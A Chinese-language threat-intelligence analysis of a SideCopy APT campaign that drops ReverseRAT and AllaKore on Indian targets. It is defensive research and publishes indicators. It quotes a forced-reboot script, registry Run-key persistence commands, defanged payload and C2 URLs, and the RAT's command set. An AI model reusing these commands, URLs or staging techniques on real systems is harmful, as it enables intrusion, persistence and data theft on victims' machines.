一、概要
1.1 发现
11月17日,绿盟科技伏影实验室捕获了两份恶意的快捷方式文件,分别名为”Address-List-ERE-Update-Sep-2021.pdf.lnk”与” NCERT-NCF-LTV-Vislzr-2022.pdf.lnk”。经过分析发现,该文件是巴基斯坦APT组织SideCopy在近期攻击活动中使用的组件,并可以关联至MalwareBytes研究员@h2jazi在同一天稍早时披露的两份恶意的压缩包文件(https://twitter.com/h2jazi/status/1460744939105669132)。直至发现时,整个攻击流程中的投放节点依然有效,能够在宿主机植入最终的木马程序。绿盟科技研究员经过分析获得了该流程中出现的dropper木马及ReverseRAT木马等组件,并共享了IoC情报。
1.2 组织情报
SideCopy是安全公司Quick Heal在2020年发现的同名攻击活动(https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf)背后的主要黑客团体。SideCopy非常活跃,主要攻击目标以印度的军事设施,尤其是与克什米尔边防相关的机构为主,并与巴基斯坦国家利益呈现极强的关联性。研究人员在后续跟踪分析(https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388)中发现,SideCopy与巴基斯坦主要APT组织TransparentTribe在TTP方面存在相似性,表明了两个APT组织之间可能的从属关系。
1.3 活动概述
本次由SideCopy发起的攻击活动包含两种诱饵,内容分别包括印度的NCERT培训课程文档和NCC单位联系列表。NCERT的全称为印度国家教育研究与培训委员会(National Council of Educational Research & Training),主要承担国家的教育计划、设施设立、人员培训等工作。诱饵文档显示了NCERT国家课程框架(National Curriculum Frameworks,NCF)的一节课程。NCC的全称为国家军校学生团(National Cadet Corps),成立于1950年,旨在培养高校学生的军事技能,为印度军队输送军事人员。
由此推测,SideCopy本次攻击针对的是印度包括军校在内的教育系统,试图获取青年军培训有关的信息,符合该组织的一贯攻击目标倾向。
本次发现的SideCopy活动,主体流程由三个阶段构成,每个阶段都以一个恶意hta脚本为核心,通过失陷站点获取后续数据,随后利用多种免杀技术,释放ReverseRAT木马和AllaKore客户端程序并运行。
本次攻击中出现的攻击组件,其文件内创建时间集中在2021年7月上旬和2021年10月上旬。同时,该攻击活动整体流程与BlackLotus Labs在6月发现的SideCopy新型活动(https://blog.lumen.com/suspected-pakistani-actor-compromises-indian-power-company-with-new-reverserat/)相似,可以认为是同一时期SideCopy间谍活动的延续。
二、组件分析
2.1 第一阶段
2.1.1 初始载荷:Address-List-ERE-Update-Sep-2021.zip
该文件是本次攻击事件中的初始载荷之一,zip压缩包内置了一个恶意lnk文件Address-List-ERE-Update-Sep-2021.pdf.lnk,使用扩展名混淆的方式试图伪装成pdf文件。
2.1.2 入口文件: Address-List-ERE-Update-Sep-2021.pdf.Ink
该lnk文件是整个攻击流程的入口。该文件主要功能为获取固定url中的hta文件,并使用系统程序mshta.exe运行该hta文件。
该lnk文件还使用同一url路径下的ico文件更新自己的图标。
该内置url为https[:]//eurekawatersolution.com/admincontrol/lib/gmaps/lib/fonts/js/gtic/hyfo/Address-List-ERE-Update-Sep-2021/css/,在北京时间2021年11月17日上午连接至一个恶意css.hta脚本文件。
名为eurekawatersolution.com的域名对应一家名为Eureka Water Solution的小型净水设备厂商网站,该网站使用WordPress制作,推测已被黑客攻破。
北京时间2021年11月17日下午,该恶意脚本已被撤下,url被引导至网站主页。
2.1.3 主要恶意脚本:css.hta
该hta文件是第一阶段的主要恶意脚本,其中包含一段推测是由开源项目CACTUSTORCH(https://github.com/mdsecactivebreach/CACTUSTORCH/blob/master/CACTUSTORCH.js)修改得到的JS代码。这种载荷可以起到不落地执行.Net dll程序,并调用其指定导出函数的作用。
该hta文件的主要作用是内存加载一个名为hta.dll的.Net程序,调用其WorkInProgress类的RealityShow方法,并将一段数据传入该方法中。
该hta文件还会创建一个C://ProgramData//IntelUpdate.js脚本,并写入以下内容:
var ShAllWeAccepTheChallenge = new
ActiveXObject(‘WScript.Shell’);WScript.Sleep(7200000);var executeMyScript = ShAllWeAccepTheChallenge.Exec(‘cmd.exe /k shutdown /r /t
0′);executeMyScript.StdIn.Close();
该脚本会被hta文件执行,导致受害者主机在2小时后关机。该逻辑可能用于清除内存痕迹,防止后期取证。
2.1.4 主要dropper木马:hta.dll
该名为hta.dll的程序是一种下载器木马,主要包括以下功能:
- 解压缩、重命名并打开给定的数据,本例中会释放并打开”Address-List-ERE-Update-Sep-2021.pdf”诱饵文档。
- 根据对系统中杀毒软件进程(mcafee、avast)的检测结果,选择下载三个url中的文件并运行。
此处代码逻辑的结果是,程序首先选择执行以下两个url中包含的hta脚本:
https[:]//eurekawatersolution.com/admincontrol/lib/gmaps/lib/fonts/js/gtic/hyfo/xaml2/
https[:]//eurekawatersolution.com/admincontrol/lib/gmaps/lib/fonts/js/gtic/hyfo/xaml/
随后,如果系统中未发现avast反病毒程序,则提取以下url中的数据:
https[:]//eurekawatersolution.com/admincontrol/lib/gmaps/lib/fonts/js/gtic/hyfo/php/
另存为C:\\ProgramData\\Duolingo\\duoApp.txt,解压缩为C:\\ProgramData\\Duolingo\\duoApp1.hta并运行。
该hta.dll文件还包含一个未被使用的入口函数RealityShow1(),主要功能为从https[:]//vedicwisdom.in/wp-content/uploads/2019/13/hwo/DISCHARGE-DRILL/css/获取hta脚本并运行。该地址曾出现在SideCopy早期的攻击活动中。
2.1.5 诱饵文档: Address-List-ERE-Update-Sep-2021.pdf
该文件是本次攻击活动中使用的诱饵文档,显示一份印度的军事训练营列表。文档内容见概述部分。
2.2 第二阶段
2.2.1 主要恶意脚本:css.hta
北京时间2021年11月17日上午,第一阶段木马程序hta.dll携带的下述两个url指向了相同的hta脚本:
https[:]//eurekawatersolution.com/admincontrol/lib/gmaps/lib/fonts/js/gtic/hyfo/xaml/
https[:]//eurekawatersolution.com/admincontrol/lib/gmaps/lib/fonts/js/gtic/hyfo/xaml2/
该脚本名称为css.hta,同样带有使用CACTUSTORCH逻辑制作的恶意JS代码,是第二阶段的主要恶意脚本程序。
该恶意JS代码的主要功能包括:
- 内存中释放并执行名为preBotHta.dll的dropper木马程序,并通过该dropper木马执行后续的恶意行为;
- 通过注册表项检测系统中的.Net框架版本,决定后续释放的木马程序的版本。如果发现4.0版本以上的.Net框架,则将4.0框架版本的ReverseRAT木马程序传递给后续dropper木马,反之则传递旧框架版本的ReverseRAT木马程序;
- 通过WMI检测系统中的防病毒程序列表,传递给后续dropper木马;
- 将一段包含dll木马程序的数据传递给后续dropper木马。
该hta脚本的核心代码逻辑如下图所示:
PinkAgain是后续dropper木马的入口函数,axor2与axor4参数中携带不同版本的ReverseRAT木马程序的二进制数据,adelel参数携带额外dll木马程序的二进制数据,xaviy参数是检测到的反病毒进程的字符串。
2.2.2 主要dropper木马:preBotHta.dll
名为preBotHta.dll的程序是第二阶段主要的dropper木马,程序入口为DraftingPad.PinkAgain。
该木马的主要功能为,根据前述hta脚本传入的反病毒进程字符串,选择不同的反检测方式,将参数传递的ReverseRAT木马保存、重命名并运行。
该木马响应的反病毒进程包括Kaspersky、Avira、Bitdefender、Quick、Avast、Mcafee、WindowsDefender、Symantec。
该木马的代码疑似经过修改,将反病毒策略对应的释放逻辑精简到以下3种:
a. 将待释放木马程序保存为MyMusic目录下的synservices.exe文件、Startup目录下的synservices.exe文件,随后执行系统应用credwiz.exe。
b. 将待释放木马程序保存为.ApplicationData目录下的synservices.hta文件,并直接执行该文件,随后创建批处理文件C:\\\\ProgramData\\\\AnyDeks\\\\streg.bat,写入以下逻辑:
REG ADD “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /V “AnyDeks” /t REG_SZ /F /D “C:\ProgramData\AnyDeks\credwiz.exe” REG ADD “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /V “winstr” /t REG_SZ /F /D “%userprofile%\appdata\roaming\winstr.hta”
该逻辑将添加credwiz.exe与winstr.hta至系统自启动项。
c. 将待释放木马程序保存为.ApplicationData目录下的synservices.exe文件。
如果木马未发现上述反病毒程序,则执行b类释放逻辑,保存并执行名为synservices.hta的木马程序。
该木马在此处的逻辑比较混乱,各种类的释放逻辑没有明确的联系。同时该木马还带有多种其他的反杀软手段,但未被使用。推测该程序是对原始的preBotHta.dll木马进行简单修改的二次利用。
2.2.3 ReverseRAT木马:dropbox.exe
该程序是名为dropbox.exe的.Net程序,是SideCopy组织已知攻击载荷ReverseRAT(又被Cisco归类为CetaRAT)的主体程序。
ReverseRAT会在启动后收集宿主机的基本信息,并发送至CnC。
该木马的CnC地址为https[:]//securedesk.one/manage_files,被解析至173.212.242.43。
该木马收集的基本信息包括:
key | value |
“id” | 宿主机MAC地址 |
“compname” | 宿主机名称 |
“os” | 宿主机操作系统版本 |
“ip” | 宿主机公网IP地址 |
“memory” | 宿主机物理内存容量 |
“processor” | 宿主机CPU型号 |
“av” | 宿主机反病毒程序列表 |
“interval” | 木马默认待机时间 |
发送上述信息后,木马等待CnC回复内容,并使用RC4算法解密和GZip解压缩对回复内容进行处理,提取其中包含的CnC指令。该RC4算法的密钥为字符串bearedman。
CnC下发的指令由命令字符串与附加参数构成,每项之间由“|”隔开,形成如下的格式:
【命令字符串】|【参数1】|【参数2】…
该木马可以响应如下命令字符串:
命令字符串 | 对应功能 |
“downloadexe” | 下载参数1指定的url中的可执行文件并运行 |
“download” | 解压缩参数2携带的数据,保存至参数1指定的路径和文件名 |
“upload” | 压缩并上传参数1指定的文件至CnC |
“run” | 运行参数1指定的文件 |
“delete” | 删除参数1指定的文件或文件夹 |
“rename” | 将参数1指定的文件移动至参数2指定的位置 |
“creatdir” | 创建参数1指定的目录 |
“list” | 上传参数1指定的目录下的文件列表 |
“process” | 返回包括宿主机进程名、进程占用内存、进程对应文件名的列表 |
“pkill” | 结束参数1指定的进程 |
“clipboard” | 获取剪贴板内容 |
“clipboardset” | 将参数1携带的数据放入剪贴板中 |
“screen” | 返回宿主机屏幕截图 |
“shellexec” | cmd执行参数1携带的命令 |
“close” | 程序退出 |
2.2.4 ReverseRAT木马:dropbox.exe
该程序是名为dropbox.exe的.Net程序,是上述ReverseRAT的.Net 4.0版本,功能与参数全部相同。
2.2.5 未使用中间载荷:DUser.dll(流程图中未标示)
该文件是名为DUser.dll的C++程序,存放于第二阶段的css.hta文件中,但在本次攻击事件中没有被释放,也没有被运行。
值得注意的是,与该文件相同的哈希值曾出现在2020年初的一起类似的攻击活动流程中(https://any.run/report/5a5fbc454671da41a78cf29c7bbae35ffa7996db0b614209318c45b64d1dc19f/31953d62-c53d-4c75-9c36-eab3a526e267),而在该流程中,DUser.dll由恶意的hta文件释放并被Windows系统应用credwiz.exe使用侧加载的方式运行,用于进一步执行名为winms.exe的AllaKore木马程序。
我们推测,该文件是既往SideCopy攻击组件的残留。
2.3 第三阶段
2.3.1 主要恶意脚本:dupApp1.hta
该hta脚本文件是第三阶段的主要攻击载荷,由前述hta.dll中的下载路径https[:]//eurekawatersolution.com/admincontrol/lib/gmaps/lib/fonts/js/gtic/hyfo/php/释放至C:\\ProgramData\\Duolingo\\duoApp.txt,随后转码并解压缩,释放至C:\\ProgramData\\Duolingo\\duoApp1.hta并运行。
该脚本同样是基于CACTUSTORCH逻辑构建,主要功能也与前述阶段的hta脚本类似,包括内存中释放并执行名为preBotHta.dll的dropper木马,并将两段包含恶意程序的数据和一段反病毒程序列表字符串传递给该dropper木马。
2.3.2 主要dropper木马:preBotHta.dll
该名为preBotHta.dll的程序是第三阶段主要的dropper木马,入口函数为ProductsWebsite.SearchProducts。
该木马的主要功能是通过判断传入的反病毒产品列表,使用对应的方式将传入的两段数据保存并运行。具体的运行策略包括:
a. 当发现Kaspersky进程时,执行以下操作:
- 将系统应用credwiz.exe移动至C:\\ProgramData\\Grmmarly\\credwiz.exe路径下;
- 将两段数据分别保存为C:\\ProgramData\\Grmmarly\\winstra.txt和C:\\ProgramData\\Grmmarly\\DUser.dll;
- 释放名为C:\\Users\\Public\\Intel Settings.lnk的快捷方式文件;
- 通过powershell命令将winstra.txt重命名为winstra.exe;
- 通过cmd执行Intel Settings.lnk快捷方式文件,最终实现基于credwiz.exe的侧加载运行。
b. 当发现Avast进程或Bitdefender进程时,执行以下操作:
- 将系统应用credwiz.exe移动至C:\\ProgramData\\Grmmarly\\credwiz.exe路径下;
- 将两段数据分别保存为C:\\ProgramData\\Grmmarly\\winstra.exe和C:\\ProgramData\\Grmmarly\\DUser.dll;
- 释放并运行名为C:\\ProgramData\\Grmmarly\\strtomo.bat的批处理文件,将credwiz.exe添加至注册表自启动项中;
- 等待180秒;
- 运行credwiz.exe,最终实现基于credwiz.exe的侧加载运行。
c. 当发现Avira进程时,执行以下操作:
- 释放并运行名为C:\\ProgramData\\Grmmarly\\strtomo.bat的批处理文件,将credwiz.exe添加至注册表自启动项中;
- 将两段数据分别保存为C:\\ProgramData\\Grmmarly\\winstra.txt和C:\\ProgramData\\Grmmarly\\DUser.dll;
- 使用mshta系统应用运行该url中的hta脚本:https[:]//demo.smart-hospital.in/uploads/hospital_content/logonw/html4/。捕获该事件时,该路径下内容已无法获取,但根据以往报告(https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf),该域名曾被用于SideCopy的早期攻击活动中,可以推测同样包含实现基于credwiz.exe的侧加载运行的恶意脚本。
d. 当发现Quick进程时,执行以下操作:
- 将系统应用credwiz.exe移动至C:\\ProgramData\\Grmmarly\\credwiz.exe路径下;
- 释放并运行名为C:\\ProgramData\\Grmmarly\\strtomo.bat的批处理文件,将%TEMP%\\Grmmarly\\instra.exe添加至注册表自启动项中;
- 将数据保存为%TEMP%\\Grmmarly\\winstra.exe;
- 运行%TEMP%\\Grmmarly\\winstra.exe,该程序是远程木马AllaKore的主程序。
e. 当发现WindowsDefender进程时,执行以下操作:
- 将系统应用credwiz.exe移动至C:\\ProgramData\\Grmmarly\\credwiz.exe路径下;
- 将两段数据分别保存为C:\\ProgramData\\Grmmarly\\winstra.exe和C:\\ProgramData\\Grmmarly\\DUser.dll;
- 运行credwiz.exe,最终实现基于credwiz.exe的侧加载运行。
- 未发现反病毒程序进程时,使用与b流程相同的操作。
由此可见,该木马的最终目的是运行名为winstra.exe的恶意程序。
2.3.3 侧载功能中间载荷:DUser.dll
该名为DUser.dll的程序是用于执行侧加载运行的中间载荷程序,功能为运行同目录下名为winstra.exe的恶意程序。
2.3.4 ALLaKore客户端程序:winstra.exe
该名为winstra.exe的程序是一种称为AllaKore的开源远控工具(https://github.com/maickonn/AllaKore_Remote)的客户端程序。该工具可以实现完整的远程会话,是SideCopy的常用攻击组件。
该AllaKore连接的CnC同样是securedesk.one。
三、分析总结
SideCopy一直善于借鉴其他APT组织的技战术而著称,它们在本次活动中使用的攻击手法,与印度APT组织SideWinder比较相似,这一特征正是该组织的命名来源。本次发现的攻击活动,其整体流程是从SideCopy组织早期活动升级而来的,对多个攻击组件进行了暴力改造,重点增强了杀软对抗能力,并且罕见地同时释放了多个木马受控端程序,以保证攻击效果。
版权声明
本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司(“绿盟科技”)。作为分享技术资讯的平台,绿盟科技期待与广大用户互动交流,并欢迎在标明出处(绿盟科技-技术博客)及网址的情形下,全文转发。
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。